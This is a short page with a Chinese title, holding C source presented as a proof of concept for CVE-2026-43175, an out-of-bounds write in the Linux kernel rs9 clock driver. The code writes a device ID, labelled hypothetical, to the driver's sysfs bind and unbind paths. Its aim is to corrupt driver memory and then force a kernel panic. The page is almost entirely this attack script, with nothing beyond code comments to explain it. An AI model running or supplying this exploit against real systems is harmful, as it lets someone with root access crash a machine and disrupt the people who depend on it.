CVE-2026-43175 Linux内核越界写入漏洞

/* * PoC for CVE-2026-43175 * This script demonstrates triggering the vulnerability by binding * and unbinding the affected driver, assuming the hardware is present. * * Compile: gcc -o poc_cve2026_43175 poc_cve2026_43175.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define DRIVER_BIND_PATH "/sys/bus/i2c/drivers/rs9/bind" #define DRIVER_UNBIND_PATH "/sys/bus/i2c/drivers/rs9/unbind" // Hypothetical device ID for 9FGV0841 #define DEVICE_ID "0-0068" void trigger_vulnerability() { int fd; printf("[+] Attempting to bind device %s to trigger out-of-bounds write...\n", DEVICE_ID); // Step 1: Bind the device to the vulnerable driver // This triggers the driver probe function where clk_hw[4..7] are written OOB fd = open(DRIVER_BIND_PATH, O_WRONLY); if (fd < 0) { perror("[-] Failed to open bind path (check permissions/root)"); return; } if (write(fd, DEVICE_ID, strlen(DEVICE_ID)) < 0) { perror("[-] Failed to bind device"); close(fd); return; } close(fd); printf("[+] Device bound. Memory corruption likely occurred in rs9_driver_data.\n"); sleep(1); // Step 2: Unbind the device to trigger the crash // The driver teardown or suspend logic will access the corrupted memory printf("[+] Attempting to unbind device to trigger kernel panic...\n"); fd = open(DRIVER_UNBIND_PATH, O_WRONLY); if (fd < 0) { perror("[-] Failed to open unbind path"); return; } if (write(fd, DEVICE_ID, strlen(DEVICE_ID)) < 0) { perror("[-] Failed to unbind device"); } else { printf("[+] Unbind successful. If vulnerable, kernel should crash shortly.\n"); } close(fd); } int main() { printf("CVE-2026-43175 PoC - Linux Kernel clk: rs9 Out-of-Bounds Write\n"); trigger_vulnerability(); return 0; }